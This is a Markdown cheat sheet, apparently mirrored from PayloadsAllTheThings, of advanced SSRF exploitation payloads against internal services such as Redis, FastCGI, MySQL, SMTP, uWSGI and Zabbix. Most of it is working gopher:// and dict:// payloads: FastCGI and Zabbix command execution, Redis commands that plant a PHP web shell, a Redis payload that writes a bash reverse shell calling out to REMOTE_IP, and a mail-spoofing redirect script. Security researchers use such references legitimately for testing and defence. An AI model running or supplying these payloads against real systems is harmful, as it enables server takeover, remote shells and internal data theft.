ssrf-advanced-exploitation.md (7793B)
1 --- 2 title: "SSRF Advanced Exploitation" 3 topic: "Server Side Request Forgery" 4 topicSlug: "server-side-request-forgery" 5 sourcePath: "Server Side Request Forgery/SSRF-Advanced-Exploitation.md" 6 sourceUrl: "https://github.com/swisskyrepo/PayloadsAllTheThings/blob/3ac27901c711/Server%20Side%20Request%20Forgery/SSRF-Advanced-Exploitation.md" 7 sha: "3ac27901c711" 8 isReadme: false 9 --- 10 11 # SSRF Advanced Exploitation 12 13 > Some services (e.g., Redis, Elasticsearch) allow unauthenticated data writes or command execution when accessed directly. An attacker could exploit SSRF to interact with these services, injecting malicious payloads like web shells or manipulating application state. 14 15 ## Summary 16 17 * [DNS AXFR](#dns-axfr) 18 * [FastCGI](#fastcgi) 19 * [Memcached](#memcached) 20 * [MySQL](#memcached) 21 * [Redis](#redis) 22 * [SMTP](#smtp) 23 * [WSGI](#wsgi) 24 * [Zabbix](#zabbix) 25 * [References](#references) 26 27 ## DNS AXFR 28 29 Query an internal DNS resolver to trigger a full zone transfer (**AXFR**) and exfiltrate a list of subdomains. 30 31 ```py 32 from urllib.parse import quote 33 domain,tld = "example.lab".split('.') 34 dns_request = b"\x01\x03\x03\x07" # BITMAP 35 dns_request += b"\x00\x01" # QCOUNT 36 dns_request += b"\x00\x00" # ANCOUNT 37 dns_request += b"\x00\x00" # NSCOUNT 38 dns_request += b"\x00\x00" # ARCOUNT 39 dns_request += len(domain).to_bytes() # LEN DOMAIN 40 dns_request += domain.encode() # DOMAIN 41 dns_request += len(tld).to_bytes() # LEN TLD 42 dns_request += tld.encode() # TLD 43 dns_request += b"\x00" # DNAME EOF 44 dns_request += b"\x00\xFC" # QTYPE AXFR (252) 45 dns_request += b"\x00\x01" # QCLASS IN (1) 46 dns_request = len(dns_request).to_bytes(2, byteorder="big") + dns_request 47 print(f'gopher://127.0.0.1:25/_{quote(dns_request)}') 48 ``` 49 50 Example of payload for `example.lab`: `gopher://127.0.0.1:25/_%00%1D%01%03%03%07%00%01%00%00%00%00%00%00%07example%03lab%00%00%FC%00%01` 51 52 ```ps1 53 curl -s -i -X POST -d 'url=gopher://127.0.0.1:53/_%2500%251d%25a9%25c1%2500%2520%2500%2501%2500%2500%2500%2500%2500%2500%2507%2565%2578%2561%256d%2570%256c%2565%2503%256c%2561%2562%2500%2500%25fc%2500%2501' http://localhost:5000/ssrf --output - | xxd 54 ``` 55 56 ## FastCGI 57 58 Requires to know the full path of one PHP file on the server, by default the exploit is using `/usr/share/php/PEAR.php`. 59 60 ```ps1 61 gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%04%04%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH58%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/usr/share/php/PEAR.php%0D%01DOCUMENT_ROOT/%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00%3A%04%00%3C%3Fphp%20system%28%27whoami%27%29%3F%3E%00%00%00%00 62 ``` 63 64 ## Memcached 65 66 Memcached communicates over port 11211 by default. While it is primarily used for storing serialized data to enhance application performance, vulnerabilities can arise during the deserialization of this data. 67 68 ```ps1 69 python2.7 ./gopherus.py --exploit pymemcache 70 python2.7 ./gopherus.py --exploit rbmemcache 71 python2.7 ./gopherus.py --exploit phpmemcache 72 python2.7 ./gopherus.py --exploit dmpmemcache 73 ``` 74 75 ## MySQL 76 77 MySQL user should not be password protected. 78 79 ```ps1 80 $ python2.7 ./gopherus.py --exploit mysql 81 Give MySQL username: root 82 Give query to execute: SELECT 123; 83 84 gopher://127.0.0.1:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%0c%00%00%00%03%53%45%4c%45%43%54%20%31%32%33%3b%01%00%00%00%01 85 ``` 86 87 ## Redis 88 89 > Redis is a database system that stores everything in RAM 90 91 The attacker changes Redis's dump directory to the web server's document root (`/var/www/html`) and renames the dump file to `file.php`, ensuring that when the database is saved, it generates a PHP file. They then create a Redis key (`mykey`) containing the web shell code, which enables remote command execution via HTTP GET parameters. Finally, the `SAVE` command forces Redis to write the current in-memory database to disk, resulting in the creation of the malicious web shell at `/var/www/html/file.php`. 92 93 ```ps1 94 CONFIG SET dir /var/www/html 95 CONFIG SET dbfilename file.php 96 SET mykey "<?php system($_GET[0])?>" 97 SAVE 98 ``` 99 100 * Getting a webshell with `dict://` 101 102 ```powershell 103 dict://127.0.0.1:6379/CONFIG%20SET%20dir%20/var/www/html 104 dict://127.0.0.1:6379/CONFIG%20SET%20dbfilename%20file.php 105 dict://127.0.0.1:6379/SET%20mykey%20"<\x3Fphp system($_GET[0])\x3F>" 106 dict://127.0.0.1:6379/SAVE 107 ``` 108 109 * Getting a PHP reverse shell with `gopher://` 110 111 ```powershell 112 gopher://127.0.0.1:6379/_config%20set%20dir%20%2Fvar%2Fwww%2Fhtml 113 gopher://127.0.0.1:6379/_config%20set%20dbfilename%20reverse.php 114 gopher://127.0.0.1:6379/_set%20payload%20%22%3C%3Fphp%20shell_exec%28%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2FREMOTE_IP%2FREMOTE_PORT%200%3E%261%27%29%3B%3F%3E%22 115 gopher://127.0.0.1:6379/_save 116 ``` 117 118 ## SMTP 119 120 Malicious actors can craft `gopher://` URLs to manipulate low-level protocols (like HTTP or SMTP) on internal systems. 121 122 ```ps1 123 gopher://localhost:25/_MAIL%20FROM:<attacker@example.com>%0D%0A 124 ``` 125 126 The following PHP script can be used to generate a page that will redirect to the `gopher://` payload. 127 128 ```php 129 <?php 130 $commands = array( 131 'HELO victim.com', 132 'MAIL FROM: <admin@victim.com>', 133 'RCPT To: <User@[ATTACKER.DOMAIN.TLD]>', 134 'DATA', 135 'Subject: @hacker!', 136 'Hello Friend', 137 '.' 138 ); 139 $payload = implode('%0A', $commands); 140 header('Location: gopher://0:25/_'.$payload); 141 ?> 142 ``` 143 144 ## WSGI 145 146 Exploit using the Gopher protocol, full exploit script available at [wofeiwo/webcgi-exploits/uwsgi_exp.py](https://github.com/wofeiwo/webcgi-exploits/blob/master/python/uwsgi_exp.py). 147 148 ```powershell 149 gopher://localhost:8000/_%00%1A%00%00%0A%00UWSGI_FILE%0C%00/tmp/test.py 150 ``` 151 152 | Header | | | 153 |-----------|-----------|-------------| 154 | modifier1 | (1 byte) | 0 (%00) | 155 | datasize | (2 bytes) | 26 (%1A%00) | 156 | modifier2 | (1 byte) | 0 (%00) | 157 158 | Variable (UWSGI_FILE) | | | | 159 |-----------------------|-----------|----|----------------| 160 | key length | (2 bytes) | 10 | (%0A%00) | 161 | key data | (m bytes) | | UWSGI_FILE | 162 | value length | (2 bytes) | 12 | (%0C%00) | 163 | value data | (n bytes) | | /tmp/test.py | 164 165 ## Zabbix 166 167 If `EnableRemoteCommands=1` is enabled in the Zabbix Agent configuration, it allows the execution of remote commands. 168 169 ```ps1 170 gopher://127.0.0.1:10050/_system.run%5B%28id%29%3Bsleep%202s%5D 171 ``` 172 173 ## References 174 175 * [SSRFmap - Introducing the AXFR Module - Swissky - June 13, 2024](https://web.archive.org/web/20240614121446/https://swisskyrepo.github.io/SSRFmap-axfr/) 176 * [How I Converted SSRF to XSS in Jira - Ashish Kunwar - June 1, 2018](https://web.archive.org/web/20251116223629/https://medium.com/@D0rkerDevil/how-i-convert-ssrf-to-xss-in-a-ssrf-vulnerable-jira-e9f37ad5b158) 177 * [Pong [EN] | FCSC 2024 - Arthur Deloffre (@Vozec1) - April 12, 2024](https://vozec.fr/writeups/pong-fcsc2024-en/) 178 * [Pong [EN] | FCSC 2024 - Kévin - Mizu (@kevin_mizu) - April 13, 2024](https://mizu.re/post/pong)